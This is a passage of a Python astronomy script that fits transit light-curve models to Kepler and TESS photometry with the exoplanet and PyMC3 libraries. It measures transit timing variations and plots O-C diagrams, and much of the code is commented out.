u_star = xo.distributions.QuadLimbDark(\"u_star\")\t\t\t\t#kipping13 quad limb darkening\n\t\t\n# BoundedNormal = pm.Bound(pm.Normal, lower=0, upper=3)\t\t\t#using a bounded normal places constraints the prob distribution by introducing limits\n# m_star = BoundedNormal(\"m_star\", mu=M_star[0], sd=M_star[1],testval=np.around(M_star[0], decimals = 1))\t#stellar mass\n# r_star = BoundedNormal(\"r_star\", mu=R_star[0], sd=R_star[1],testval=np.around(R_star[0], decimals = 1))\t#stellar radius\n m_star = M_star[0]\n r_star = R_star[0] #*1.3 for KOI-12b\n \n\t\t############################################################ \n\t\t\n ### Orbital parameters for the planets\n # Planet b\n P_b = pm.Normal(\"P_b\", mu=periods[planet_num], sd=period_sds[planet_num]) #the period (unlogged)\n t0_b = pm.Normal(\"t0_b\", mu=t0is[planet_num], sd=t0i_sds[planet_num])\t#time of a ref transit for each planet\n logr_b = pm.Normal(\"logr_b\", mu=np.log(radii[planet_num]), sd=1.0)#log radius - we keep this one as a log\n# logr_b = np.log(1 * radii[planet_num])\n r_pl_b = pm.Deterministic(\"r_pl_b\", tt.exp(logr_b)) #radius - we then unlog the radius to keep track of it. a pm.Deterministic basically just tracks a value for you for later on!\t\n ratio_b = pm.Deterministic(\"ror_b\", r_pl_b / r_star) #ratio - radius ratio between planet and star \t\t\n if incls[planet_num] == 90:\n mu_try = 88 #incls[planet_num]\n incl_b = pm.Normal('incl',mu=mu_try/180*np.pi, sd=1.0)\n else:\n# incl_b = incls[planet_num]/180*np.pi\n incl_b = pm.Normal('incl',mu=incls[planet_num]/180*np.pi, sd=1.0)\n# incl_b = pm.Normal('incl',mu=86/180*np.pi,sd=1.0)\n# b_mu = a_array[planet_num]*np.cos(incls[planet_num])/R_star[0]\n# b_mu = 0.0774\n# b_b = xo.distributions.ImpactParameter(\"b_b\", ror=ratio_b) # Calculate impact parameter) # we used the xo distribution rather than the pymc3 one for b, as per the tutorial\n# b_b = pm.Normal(\"b_b\", mu=abs(b_mu),sd = 0.01)\n ecc_b = eccs[planet_num]\n# ecc_b = pm.Normal(\"ecc_b\", mu=eccs[planet_num], sd=ecc_sds[planet_num])\n omega_b = 0.0 \n \n ############################################################ \n\t\n\t\t### Transit jitter & GP parameters for TESS LIGHTCURVE\n\t\n# logs2 = pm.Normal(\"logs2\", mu=np.log(np.var(flux_Kepler_masked)), sd=0.05)\n# logw0 = pm.Normal(\"logw0\", mu=0.0, sd=0.05)\n# logSw4 = pm.Normal(\"logSw4\", mu=np.log(np.var(flux_Kepler_masked)), sd=0.05)\n\t\t# this sets up a GP for the TESS lightcurve, as per the tutorials.\n\t\t# reducing sd seems to make the GP a little less wiggly\n \n ############################################################ \n\n\t\t### Orbit model (Keplerian)\n if method == 'manual':\n\t\t#planet b\n orbit_b = xo.orbits.KeplerianOrbit(\n r_star=r_star, \n m_star=m_star,\n period=P_b,\n t0=t0_b,\n incl=incl_b,\n ecc=ecc_b,\n omega=omega_b,\n )\n \t\t#planet c\n# orbit_c = xo.orbits.KeplerianOrbit(\n# r_star=r_star,\n# m_star=m_star,\n# period=P_c,\n# t0=t0_c,\n# b=b_c,\n# ecc=ecc_c,\n# omega=omega_c,\n# )\n# elif method == 'array':\n# orbit = xo.orbits.KeplerianOrbit( \n# r_star=r_star,\n# m_star=m_star,\n# period=P,\n# t0=t0,\n# b=b,\n# ecc=ecc,\n# omega=omega)\n else:\n # Planet b\n orbit_b = xo.orbits.KeplerianOrbit(\n r_star=r_star, \n m_star=m_star,\n period=P_b,\n t0=t0_b,\n incl=incl_b,\n ecc=ecc_b,\n omega=omega_b,\n )\n\t\n\t\t############################################################ \n ### Compute the model light curve using starry FOR TESS LIGHTCURVE\n\t\t# it seems to break without the *1. \n \n\n #planet b\t\t # n.b. can also use u_star in first bracket\n light_curves_b = (\n xo.LimbDarkLightCurve(params.u).get_light_curve(\n orbit=orbit_b, r=r_pl_b, t=linear_time, texp=texp_Kepler\n )\n * 1\n )\n light_curve_b = pm.math.sum(light_curves_b, axis=-1) + mean \t#this is the eclipse_model\n pm.Deterministic(\"light_curves_b\", light_curves_b) \t\t\t#tracking val of model light curve for plots\n \n if planet_num == 1:\n light_curve_TESS = pm.math.sum(light_curves_b, axis=-1) + mean\n\t\t\n pm.Normal(\"obs\", mu=light_curve_b, sd=0.1, observed=linear_flux-1)\n \n\t\t############################################################ \n\t\t\n ### GP model for the light curve\n\t\t# Essentially from the tutorial\n\t\n# kernel = xo.gp.terms.SHOTerm(log_Sw4=logSw4, log_w0=logw0, Q=1 / np.sqrt(2)) # n.b. SHOTerm = Stochastically driven, damped Harmonic Osciallator. Other recommended options are Matern32Term (Matern-3/2 function) and RotationTerm (two SHO for stellar rotation)\n# gp = xo.gp.GP(kernel, time_Kepler_masked, tt.exp(logs2) + tt.zeros(mask.sum()))\n# print(flux_TESS[mask])\n# print(light_curve_TESS)\n# pm.Potential(\"transit_obs\", gp.log_likelihood(flux_Kepler_masked - light_curve_TESS))\n# pm.Deterministic(\"gp_pred\", gp.predict())\n\t\t\n\t\n\t\t### FITTING SEQUENCE\t\t\n\t\t\n if start is None:\n start = model.test_point\n map_soln = xo.optimize(start=start)\n map_soln = xo.optimize(start=map_soln)\n map_soln = xo.optimize(start=map_soln)\n\t\t\n trace = []\n\n return trace, model, map_soln, #vrad_b_plot, vrad_c_plot, vrad_d_plot, gp_H # with RVs, you need to return some extra stuff for plotting\n\ntrace, model0, map_soln0 = build_model() # this allows you to reuse the model or something later on - for GPs, add in: vrad_b_plot, vrad_c_plot, vrad_d_plot, gp_H\n\nprint(map_soln0) \n\n\ndef plot_light_curve(soln, mask=None):\n if mask is None:\n mask = np.ones(len(linear_time), dtype=bool)\n\n fig, axes = plt.subplots(2, 1, figsize=(15, 10), sharex=True)\n\t\n # this plot shows the og lightcurves with the gp model on top\n# ax = axes[0]\n# ax.scatter(linear_time[mask], linear_flux[mask], c='k', s = 1, label=\"Original Data\")\n# gp_mod = soln[\"gp_pred\"] + soln[\"mean\"]\n# ax.plot(time_Kepler_masked[mask], gp_mod, color=\"C2\", label=\"GP Model\")\n# ax.legend(fontsize=12)\n# ax.set_ylabel(\"Relative Flux [ppt]\")\n\n # this plot shows the clean lightcurve (og lightcurve - gp solution) plus the light curve models for planets b and c\n ax = axes[0]\n ax.scatter(linear_time[mask], linear_flux[mask]-1, c='k', s=1, label=\"De-trended Data\")\n mod_b = soln[\"light_curves_b\"]\n ax.plot(linear_time[mask], mod_b, color='orange', label=\"Planet Model\")\n ax.legend(fontsize=12)\n ax.set_ylabel(\"De-trended Flux [ppt]\")\n\t\n # this plot shows the residuals\n ax = axes[1]\n mod = np.sum(soln[\"light_curves_b\"], axis=-1)\n ax.scatter(linear_time[mask], linear_flux[mask] - mod-1, c='k', s=1, label='Residuals')\n ax.axhline(0, color=\"mediumvioletred\", lw=1, label = 'Baseline Flux')\n ax.set_ylabel(\"Residuals [ppt]\")\n ax.legend(fontsize=12)\n ax.set_xlim(linear_time[mask].min(), linear_time[mask].max())\n ax.set_xlabel(\"Time [BJD - 2454833]\")\n plt.title('{}'.format(target_ID))\n\t\n plt.subplots_adjust(hspace=0)\n\n return fig\n\nplot_light_curve(map_soln0)\n\ndef plot_phase_curve_auto(soln, mask=None,instrument = 'both', planet_num=1, pl_letter=planet_letter):\n if mask is None:\n \t\tmask = np.ones(len(time_TESS), dtype=bool)\n \n fig = plt.figure()\n #plt.title('{}'.format(target_ID))\n\n # setting up the phase fold data\n phases_b = np.mod(linear_time - soln['t0_b']-soln['P_b']/2, soln['P_b'])/soln['P_b']\n arg_b = np.argsort(phases_b)\n\t\n # phase fold for planet b\n ax = plt.gca()\n ax.scatter(phases_b, linear_flux-1, c='k', s=1, label=\"De-trended Data\")\n binned_time_b, binned_flux_b = binned(phases_b[arg_b], linear_flux[arg_b]-1)\n ax.scatter(binned_time_b, binned_flux_b, c='r', s=1, label=\"Binned De-trended Data\")\n mod_b = soln[\"light_curves_b\"]\n ax.plot(phases_b[arg_b], mod_b[arg_b], color='orange', label=\"Planet {} Model\".format(pl_letter))\n ax.legend(fontsize=12)\n ax.set_ylabel(\"De-trended Flux [ppt]\")\n ax.set_xlabel(\"Phase\")\n ax.set_xlim(0, 1)\n txt = \"Planet {} Period = {:.3f}\".format(pl_letter, map_soln0['P_b'])\n ax.annotate(\n txt,\n (0, 0),\n xycoords=\"axes fraction\",\n xytext=(5, 5),\n textcoords=\"offset points\",\n ha=\"left\",\n va=\"bottom\",\n fontsize=12,\n )\n fig.savefig('Batman model for {} {}'.format(Kepler_name,pl_letter))\n\t\n return fig\n\nplot_phase_curve_auto(map_soln0, instrument = instrument)\n###\n###\n#### TTV run 3: 10s step-size\n##Update model parameters based on stacked fit\nparams.rp = map_soln0['r_pl_b']\n#params.limb_dark = \"quadratic\"\n#params.u = [map_soln0['u_star'][0],map_soln0['u_star'][1]] \n#\nif no_TTV == True:\n final_t0is3 = initial_t0is\nelse:\n final_t0is3, o_c3 = find_ttvs(final_t0is2, periods[planet_num], time_Kepler_masked, flux_Kepler_masked, params, search_width=0.025, step_size=1/(24*60*6), run_number=3) #10s step\n\n#Plot new fold\nfolded_fig3 = plt.figure()\nlinear_flux = np.array([])\nlinear_time = np.array([])\nfor n in n_list:\n int_start = final_t0is3[n] - 2\n int_end = final_t0is3[n] + 2\n idx = np.where((time_Kepler_masked > int_start) & (time_Kepler_masked < int_end))\n \n int_time = time_Kepler_masked[idx] - final_t0is3[n]\n int_flux = flux_Kepler_masked[idx] \n plt.scatter(int_time, int_flux, s=1, c='k')\n# linear_flux = np.append(linear_flux,int_flux)\n# linear_time = np.append(linear_time,int_time+final_t0is2[n]-o_c_final[n])\nplt.title('Folded fig for {} {} - 3rd run'.format(Kepler_name, planet_letter))\nplt.xlabel('Time since transit [Days]')\nplt.ylabel('Normalized Flux')\n\n########## OR: Set all but T0 and use emcee/Exoplanet to model ####################\n#def build_model_piecewise(mask=None, start=None, optimisation=True, test_t0 = 0.0, segment_time=linear_time, segment_flux=linear_flux,f_err=flux_err,texp=texp_Kepler,tune_step=3000,draw_step=3000):\n# if mask is None:\n# mask = np.ones(len(segment_time), dtype=bool)\n# with pm.Model() as model:\n#\n#\t\t############################################################ \n#\t\t\n# ### Stellar parameters\n#\n# mean = pm.Normal(\"mean\", mu=1.0, sd=1.0)\n#\t\t\n# u_star = [map_soln0['u_star'][0],map_soln0['u_star'][1]]\t\t\t#kipping13 quad limb darkening\n#\n## BoundedNormal = pm.Bound(pm.Normal, lower=0, upper=3)\t\t\t#using a bounded normal places constraints the prob distribution by introducing limits\n# m_star = M_star[0] #map_soln0['m_star']\t#stellar mass\n# r_star = R_star[0] #map_soln0['r_star']\t#stellar radius\n#\n#\t\t############################################################ \n#\t\t\n# ### Orbital parameters for the planets\n# # Planet b\n# P_b = periods[planet_num] #map_soln0['P_b'] #the period \n# t0_b = pm.Normal(\"t0_b\", mu=test_t0, sd=1.0)\t#time of a ref transit for each planet\n## t0_b = pm.Uniform(\"t0_b\", upper=test_t0+1, lower=test_t0-1)\n# logr_b = map_soln0[\"logr_b\"]\n## logr_b = np.log(1 * radii[planet_num]) #log radius - we keep this one as a log\n# r_pl_b = map_soln0['r_pl_b']\n## r_pl_b = pm.Deterministic(\"r_pl_b\", tt.exp(logr_b)) #radius - we then unlog the radius to keep track of it. a pm.Deterministic basically just tracks a value for you for later on!\t\n## ratio_b = pm.Deterministic(\"ror_b\", r_pl_b / r_star) #ratio - radius ratio between planet and star \t\t\n## b_b = map_soln0['b_b'] # we used the xo distribution rather than the pymc3 one for b, as per the tutorial\n# incl_b = incls[planet_num]/180*np.pi #map_soln0['incl'] #\n# ecc_b = eccs[planet_num]\n# omega_b = 0.0 \n# \n# ############################################################ \n#\n# orbit_b = xo.orbits.KeplerianOrbit(\n# r_star=r_star, \n# m_star=m_star,\n# period=P_b,\n# t0=t0_b,\n# incl = incl_b,\n# ecc=ecc_b,\n# omega=omega_b,\n# )\n#\t\n#\t\t############################################################ \n# ### Compute the model light curve using starry FOR TESS LIGHTCURVE \n#\n# #planet b\t\t\n# light_curves_b = (\n# xo.LimbDarkLightCurve(params.u).get_light_curve(\n# orbit=orbit_b, r=r_pl_b, t=segment_time, texp=texp\n# )\n# * 1\n# )\n# light_curve_b = pm.math.sum(light_curves_b, axis=-1) + mean \t#this is the eclipse_model\n# pm.Deterministic(\"light_curves_b\", light_curves_b) \t\t\t#tracking val of model light curve for plots\n#\t\t\n# pm.Normal(\"obs\", mu=light_curve_b, sd=f_err, observed=segment_flux)\n#\t\t\n#\t\n#\t\t### FITTING SEQUENCE\t\t\n# if optimisation == True:\n# if start is None:\n# start = model.test_point\n# map_soln = xo.optimize(start=start)\n# map_soln = xo.optimize(start=map_soln)\n# map_soln = xo.optimize(start=map_soln)\n# else:\n# map_soln=model.test_point\n#\t\t\n### trace = []\n## model_t0 = map_soln['t0_b']\n# \n# # n.b. in Edwards+ they used 30,000 burn-in (tuning) and 100,000 iterations (draws), with 200 walkers\n# trace = pm.sample(\n# tune=tune_step, #Previously both were 5000\n# draws=draw_step,\n# start=map_soln,\n# cores=2,\n# chains=2,\n# step=xo.get_dense_nuts_step(target_accept=0.9), #Previously 0.9\n# )\n# \n## summary_df =pm.summary(trace, varnames=[\"t0_b\",\"mean\"]) #n.b. check pymc3 for better thing than summary - it's probably concatenating it\n## sd = summary_df.sd['t0_b']\n# sd = np.std(trace[\"t0_b\"])\n# model_t0 = np.mean(trace[\"t0_b\"])\n## \n## pm.summary(trace, varnames=[\"t0_b\",\"mean\"])\n### pm.plot_trace(trace, varnames=[\"t0_b\",\"mean\"])\n## samples = pm.trace_to_dataframe(trace, varnames=[\"t0_b\", \"mean\"])\n## truth = np.concatenate(\n## xo.eval_in_model([t0_b, mean], model.test_point, model=model)\n## )\n## _ = corner.corner(\n## samples,\n## truths=truth,\n## labels=[\"t0_b\", \"mean\"]\n## )\n#\n# return model, map_soln, model_t0, sd, trace # vrad_b_plot, vrad_c_plot, vrad_d_plot, gp_H # with RVs, you need to return some extra stuff for plotting\n##\n#model_t0s = np.array([])\n#sds = np.array([])\n##\n##n_list = [0]\n##n_list = [713,714]\n#\n#for n in n_list: #n.b. got up to 713\n# int_start = final_t0is3[n] -1\n# int_end = final_t0is3[n] + 1\n# idx = np.where((time_Kepler_masked > int_start) & (time_Kepler_masked < int_end))\n# \n# int_time = time_Kepler_masked[idx]\n# int_flux = flux_Kepler_masked[idx]\n# t0 = final_t0is3[n]\n# \n# # plt.figure()\n# # plt.scatter(int_time, int_flux-1, c='k', s=1, label=\"De-trended Data\")\n# # plt.axvline(x=t0, c='r')\n# # plt.legend(fontsize=12)\n# # plt.ylabel(\"De-trended Flux [ppt]\")\n# \n# model1, map_soln1, model_t0, sd, trace = build_model_piecewise(test_t0=t0, segment_time=int_time, segment_flux=int_flux,tune_step=1000,draw_step=1000) # this allows you to reuse the model or something later on - for GPs, add in: vrad_b_plot, vrad_c_plot, vrad_d_plot, gp_H\n#\n# model_t0s = np.append(model_t0s,model_t0)\n# sds = np.append(sds,sd)\n# print('Number of transits fit = {}'.format(n+1))\n##print(map_soln1)\n##\n#plt.figure()\n#plt.scatter(int_time, int_flux-1, c='k', s=1, label=\"De-trended Data\")\n#mod_b = map_soln1[\"light_curves_b\"]\n#plt.plot(int_time, mod_b, color='orange', label=\"Planet b Model\")\n#plt.legend(fontsize=12)\n#plt.ylabel(\"De-trended Flux [ppt]\")\n#\n#\n##np.random.seed(42)\n##with model1:\n## trace = pm.sample(\n## tune=5000,\n## draws=5000,\n## start=map_soln1,\n## cores=2,\n## chains=2,\n## )\n## \n#pm.summary(trace, varnames=[\"t0_b\",\"mean\"])\n#pm.plot_trace(trace, varnames=[\"t0_b\",\"mean\"])\n##\n##thing=pm.summary(trace, varnames=[\"t0_b\",\"mean\"])\n##thing.sd['t0_b']\n#\n##samples = pm.trace_to_dataframe(trace, varnames=[\"t0_b\", \"mean\"])\n##truth = np.concatenate(\n## xo.eval_in_model([t0_b, mean], model0.test_point, model=model0)\n##)\n##_ = corner.corner(\n## samples,\n## truths=truth,\n## labels=[\"t0_b\", \"mean\"]\n##)\n#\n#\n##with open(save_path + 'Final t0s/Kepler t0s for {} {}.csv'.format(Kepler_name, planet_letter), 'r') as read_obj:\n## csv_reader = csv.reader(read_obj)\n## model_t0s = next(csv_reader)\n## sds = next(csv_reader)\n##\n##model_t0s = np.array([float(data) for data in model_t0s])\n##sds = np.array([float(data) for data in sds])\n#\n## Mask dodgy ones (usually those which fall outside data windows)\n#err = np.array([0]*len(n_list))\n#\n#mask = np.ones(len(n_list), dtype=bool)\n#for n in n_list:\n## err[n] = np.sqrt(sds[n]**2 + period_sds[planet_num]**2 + n**2*t0i_sds_real[planet_num]**2)\n# err[n] = sds[n]\n# if sds[n] > 0.008:\n# mask[n] = False\n#\n#with open(save_path + 'Final t0s/Kepler t0s for {} {}.csv'.format(Kepler_name, planet_letter), 'w') as csv_file:\n# csv_writer = csv.writer(csv_file, delimiter=',')\n# csv_writer.writerow(model_t0s)\n# csv_writer.writerow(sds)\n#\n######################## Find new period and T0: ##############################\n#transit_ns = np.array([round((item-t0is[planet_num])/periods[planet_num]) for item in model_t0s])\n#\n##Unweihgted fit\n#Kepler_period, Kepler_fit_t0 = np.polyfit(transit_ns[mask], model_t0s[mask],1)\n#y_model = np.array(transit_ns)*Kepler_period + Kepler_fit_t0\n#\n## Weighted fit\n##def f(n, t0, per):\n## \"\"\" Straight line ephemeris fit for planet with period=per and t0 \"\"\"\n## return t0 + per*n\n##popt, pcov = curve_fit(f, n, per, sigma=sds[mask], absolute_sigma=True)\n##y_model = f(x, *popt)\n##Kepler_fit_period = popt[0]\n##Kepler_fit_t0 = popt[1]\n#\n#plt.figure()\n#plt.errorbar(transit_ns[mask], model_t0s[mask], yerr=sds[mask], fmt='.', c='k')\n#plt.plot(transit_ns,y_model)\n#\n#current_t0 = Kepler_fit_t0\n#new_t0is = []\n#\n#while current_t0 < time_Kepler[-1]:\n# new_t0is.append(current_t0)\n# current_t0 = current_t0 + Kepler_period\n#\n##Also plot unmasked version...\n#\n################## PART 5: Compute and plot O-C diagram #####################\n##Using final observed values compute O-C values for all transits and plot\n##o_c_final = final_t0is3 - initial_t0is\n##o_c_final = model_t0s - initial_t0is\n#o_c_final = model_t0s - new_t0is\n#o_c_hrs = o_c_final*24\n#\n#o_c_masked = o_c_hrs[mask]\n#model_t0s_masked = model_t0s[mask]\n#\n##e=[24*0.004]*len(final_t0is3)\n##e = 24*err\n#e = 24*sds\n#\n#un_masked_o_c_plot = plt.figure()\n##plt.scatter(final_t0is3, o_c_hrs, c='k',s=1)\n#plt.errorbar(model_t0s, o_c_hrs, yerr=e, fmt='.', c='k')\n#plt.xlabel('BJD Time [Days]')\n#plt.ylabel('O-C [hrs]')\n#plt.title('Unmaksed O-C diagram for {} {} after individual exoplanet fit'.format(Kepler_name, planet_letter))\n#\n#o_c_plot = plt.figure()\n##plt.scatter(final_t0is3, o_c_hrs, c='k',s=1)\n#plt.errorbar(model_t0s_masked, o_c_masked, yerr=e[mask], fmt='.', c='k')\n#plt.xlabel('BJD Time [Days]')\n#plt.ylabel('O-C [hrs]')\n#plt.title('O-C diagram for {} {} after individual exoplanet fit'.format(Kepler_name, planet_letter))\n#\n#\n## Initial compared to final positions\n#plt.figure()\n#plt.scatter(time_Kepler_masked, flux_Kepler_masked, c='k', s=1, label=\"Kepler De-trended Data\")\n#for t0i in initial_t0is:\n# plt.axvline(x=t0i, c='b')\n#for t0i in model_t0s:\n# plt.axvline(x=t0i, c='r')\n#plt.axvline(x=initial_t0is[0], c='b', label='Initial T0')\n#plt.axvline(x=model_t0s[0], c='r', label='Final T0')\n#plt.legend()\n#plt.title('{} {} initial and final T0s after one run'.format(Kepler_name, planet_letter))\n#\n#\n#folded_fig4 = plt.figure()\n#linear_flux = np.array([])\n#linear_time = np.array([])\n#for n in n_list:\n# int_start = model_t0s[n] - 2\n# int_end = model_t0s[n] + 2\n# idx = np.where((time_Kepler_masked > int_start) & (time_Kepler_masked < int_end))\n# \n# int_time = time_Kepler_masked[idx] - final_t0is3[n]\n# int_flux = flux_Kepler_masked[idx] \n# plt.scatter(int_time, int_flux, s=1, c='k')\n## linear_flux = np.append(linear_flux,int_flux)\n## linear_time = np.append(linear_time,int_time+final_t0is2[n]-o_c_final[n])\n#plt.title('Folded fig for {} {} - Model run'.format(Kepler_name, planet_letter))\n#plt.xlabel('Time since transit [Days]')\n#plt.ylabel('Normalized Flux')\n#\n################################ PART 6: TESS Stuff ##############################\n###\nplt.figure()\nplt.scatter(time_TESS,flux_TESS,c='k',s=1)\n\n# Calculate expected TESS times\ntransit_time = t0is[planet_num]\ncalc_per = periods[planet_num] \nTESS_t0s = np.array([])\nmodel_TESS_t0s = np.array([])\nsds_TESS = np.array([])\nn = 0\n\nwhile transit_time < time_TESS[0]:\n transit_time += calc_per\n n += 1\n\nwhile transit_time < time_TESS[-1]:\n TESS_t0s = np.append(TESS_t0s,transit_time)\n transit_time += calc_per\n\nif transit_mask_TESS == True:\n for n in range(len(TESS_t0s)):\n int_start = TESS_t0s[n] - 2\n int_end = TESS_t0s[n] + 2\n idx = np.where((time_TESS > int_start) & (time_TESS < int_end))\n\n int_time = time_TESS[idx]\n int_flux = flux_TESS[idx]\n if len(int_time) != 0:\n epoch = TESS_t0s[n]\n period = periods[planet_num]\n duration = 0.5 #Or: use calculated duration x 2-4\n phase = np.mod(int_time-epoch-period/2,period)/period\n \n near_transit = [False]*len(int_flux)\n for i in range(len(int_time)):\n if abs(phase[i] - 0.5) < duration/period:\n near_transit[i] = True\n near_transit = np.array(near_transit)\n \n t_masked = int_time[~near_transit]\n flux_masked = int_flux[~near_transit]\n # flux_err_masked = flux_err_cut[~near_transit]\n t_new = int_time[near_transit]\n \n gradient, intercept = np.polyfit(t_masked,flux_masked,1)\n flux_new = t_new*gradient + intercept\n \n interpolated_fig = plt.figure()\n plt.scatter(t_masked, flux_masked, s = 2, c = 'k')\n # plt.scatter(time_Kepler, flux_Kepler, s = 8, c = 'k')\n plt.scatter(t_new,flux_new, s=2, c = 'r')\n plt.xlabel('Time - 2457000 [BTJD days]')\n plt.ylabel('Relative flux')\n # interpolated_fig.savefig(save_path + \"{} - Interpolated over transit mask fig.png\".format(target_ID))\n \n t_transit_mask = np.concatenate((t_masked,t_new), axis = None)\n flux_transit_mask = np.concatenate((flux_masked,flux_new), axis = None)\n \n sorted_order = np.argsort(t_transit_mask)\n t_transit_mask = t_transit_mask[sorted_order]\n flux_transit_mask = flux_transit_mask[sorted_order]\n \n full_transit_mask_time = time_TESS.copy()\n full_transit_mask_flux = flux_TESS.copy()\n full_transit_mask_time[idx] = t_transit_mask\n full_transit_mask_flux[idx] = flux_transit_mask\n else:\n print('Skipped gap at {}'.format(TESS_t0s[n]))\n plt.figure()\n plt.scatter(time_TESS,flux_TESS,c='k',s=1)\n plt.title('TESS lc after transit mask')\n\n# Detrend TESS flux using lowess detrending\nif transit_mask_TESS == True:\n detrended_masked_flux, full_lowess_flux = lowess_detrending(flux=full_transit_mask_flux, time=full_transit_mask_time, target_ID=Kepler_name,n_bins=96)\n flux_TESS = flux_TESS/full_lowess_flux\n plt.figure()\n plt.scatter(time_TESS,flux_TESS,c='k',s=1)\n plt.title('TESS lc after transit mask detrend')\nelse:\n detrended_TESS_flux, full_lowess_flux = lowess_detrending(flux=flux_TESS, time=time_TESS,target_ID=Kepler_name,n_bins=96)\n flux_TESS = detrended_TESS_flux\n\n##TESS_t0s = np.array([2458736.5])\n## Fit each TESS Transit\n#for n in range(len(TESS_t0s)):\n# int_start = TESS_t0s[n] - 2\n# int_end = TESS_t0s[n] + 2\n# idx = np.where((time_TESS > int_start) & (time_TESS < int_end))\n# \n# int_time = time_TESS[idx]\n# int_flux = flux_TESS[idx]\n# t0 = TESS_t0s[n]\n# if len(int_time) != 0:\n# model_TESS, map_soln_TESS, model_t0, sd, trace = build_model_piecewise(test_t0=t0, segment_time=int_time, segment_flux=int_flux, f_err=mean_flux_err_TESS, texp=texp_TESS,tune_step=10000,draw_step=10000) # this allows you to reuse the model or something later on - for GPs, add in: vrad_b_plot, vrad_c_plot, vrad_d_plot, gp_H\n# model_TESS_t0s = np.append(model_TESS_t0s,model_t0)\n# \n# plt.figure()\n# plt.scatter(int_time, int_flux-1, c='k', s=1, label=\"De-trended Data\")\n# binned_TESS_int_time, binned_TESS_int_flux = binned(int_time, int_flux, binsize=15)\n# plt.scatter(binned_TESS_int_time, binned_TESS_int_flux-1, c='r',s=1,label=\"Binned TESS Data\")\n# plt.axvline(x=t0, c='r')\n# plt.legend(fontsize=12)\n# plt.ylabel(\"De-trended Flux [ppt]\")\n# \n# sds_TESS = np.append(sds_TESS,sd)\n# print('Number of transits fit = {}'.format(n+1))\n# else:\n# print('Skipped gap at {}'.format(TESS_t0s[n]))\n#\n#\n#with open(save_path + 'Final t0s/TESS t0s for {} {}.csv'.format(Kepler_name,planet_letter), 'w') as csv_file:\n# csv_writer = csv.writer(csv_file, delimiter=',')\n# csv_writer.writerow(model_TESS_t0s)\n# csv_writer.writerow(sds_TESS)\n#\n#if len(int_time) != 0:\n# binned_TESS_int_time, binned_TESS_int_flux = binned(int_time, int_flux, binsize=15)\n#\n# plt.figure()\n# plt.scatter(int_time, int_flux-1, c='k', s=1, label=\"De-trended Data\")\n# plt.scatter(binned_TESS_int_time, binned_TESS_int_flux-1, c='r',s=1,label=\"Binned TESS Data\")\n# mod_b = map_soln_TESS[\"light_curves_b\"]\n# plt.plot(int_time, mod_b, color='orange', label=\"Planet {} Model\".format(planet_letter))\n# plt.legend(fontsize=12)\n# plt.ylabel(\"De-trended Flux [ppt]\")\n#\n#pm.plot_trace(trace, varnames=[\"t0_b\",\"mean\"])\n#thing=pm.summary(trace, varnames=[\"t0_b\",\"mean\"])\n#\n#mask_TESS = np.ones(len(model_TESS_t0s), dtype=bool)\n##mask_TESS[-1] = False\n##\n### Find new period and T0: \n#transit_ns_TESS = np.array([round((item-t0is[planet_num])/periods[planet_num]) for item in model_TESS_t0s])\n#overall_transit_ns = np.append(transit_ns[mask], transit_ns_TESS[mask_TESS])\n#overall_model_t0s = np.append(model_t0s[mask], model_TESS_t0s[mask_TESS])\n#overall_err = np.append(sds[mask],sds_TESS[mask_TESS])\n#\n#with open(save_path + 'Final t0s/Overall t0s for {} {}.csv'.format(Kepler_name, planet_letter), 'w') as csv_file:\n# csv_writer = csv.writer(csv_file, delimiter=',')\n# csv_writer.writerow(overall_model_t0s)\n# csv_writer.writerow(overall_err)\n# \n########## n.b. polyfit is pretty simple - change to weighted scipy.optimize.curve_fit instead!\n#combined_period, combined_fit_t0 = np.polyfit(overall_transit_ns, overall_model_t0s,1)\n#y_model_overall = np.array(overall_transit_ns)*combined_period + combined_fit_t0\n#\n##popt, pcov = curve_fit(f, overall_transit_ns, overall_model_t0s, sigma=overall_err, absolute_sigma=True)\n##y_model = f(overall_model_t0s, *popt)\n##Kepler_fit_period = popt[0]\n##Kepler_fit_t0 = popt[1]\n#\n#plt.figure()\n#plt.errorbar(overall_transit_ns, overall_model_t0s, yerr=overall_err, fmt='.', c='k')\n#plt.plot(overall_transit_ns,y_model_overall)\n#plt.xlabel('Transits since T0')\n#plt.ylabel('BJD Time [Days]')\n#\n## Calculate TESS O-C and replot entire O-C diagram\n##o_c_TESS = model_TESS_t0s - TESS_t0s\n##o_c_hrs_TESS = o_c_TESS*24\n##e_TESS = 24*sds_TESS\n# \n## Calculate overall O-C and replot entire O-C diagram\n#o_c_combined = overall_model_t0s - y_model_overall\n#o_c_hrs_combined = o_c_combined*24\n#e_overall_hrs = 24*overall_err\n#\n#o_c_plot_final = plt.figure()\n##plt.scatter(final_t0is3, o_c_hrs, c='k',s=1)\n##plt.errorbar(model_t0s_masked, o_c_masked, yerr=e[mask], fmt='.', c='k')\n##plt.errorbar(model_TESS_t0s, o_c_hrs_TESS, yerr=e_TESS, fmt='.', c='k')\n#plt.errorbar(overall_model_t0s, o_c_hrs_combined, yerr=e_overall_hrs, fmt='.', c='k')\n#plt.xlabel('BJD Time [Days]')\n#plt.ylabel('O-C [hrs]')\n#plt.title('O-C diagram for {} {} including TESS'.format(Kepler_name, planet_letter))\n#plt.show()\n\n#### Fit overall ephemerides for systems with flat O-C diagrams\n\n#def model_flat_systems(mask=None, start=None, optimisation=True, test_t0 = 0.0, segment_time=linear_time, segment_flux=linear_flux,f_err=flux_err,texp=texp_Kepler,tune_step=3000,draw_step=3000):\n# if mask is None:\n# mask = np.ones(len(segment_time), dtype=bool)\n# with pm.Model() as model:\n#\n#\t\t############################################################ \n#\t\t\n# ### Stellar parameters\n#\n# mean = pm.Normal(\"mean\", mu=1.0, sd=1.0)\n#\t\t\n## u_star = [map_soln0['u_star'][0],map_soln0['u_star'][1]]\t\t\t#kipping13 quad limb darkening\n#\n## BoundedNormal = pm.Bound(pm.Normal, lower=0, upper=3)\t\t\t#using a bounded normal places constraints the prob distribution by introducing limits\n# m_star = M_star[0] #map_soln0['m_star']\t#stellar mass\n# r_star = R_star[0] #map_soln0['r_star']\t#stellar radius\n#\n#\t\t############################################################ \n#\t\t\n# ### Orbital parameters for the planets\n# # Planet b\n# P_b = pm.Normal(\"P_b\",mu =periods[planet_num], sd=1.0) #map_soln0['P_b'] #the period \n# t0_b = pm.Normal(\"t0_b\", mu=test_t0, sd=1.0)\t#time of a ref transit for each planet\n## t0_b = pm.Uniform(\"t0_b\", upper=test_t0+1, lower=test_t0-1)\n# logr_b = map_soln0[\"logr_b\"]\n## logr_b = np.log(1 * radii[planet_num]) #log radius - we keep this one as a log\n# r_pl_b = 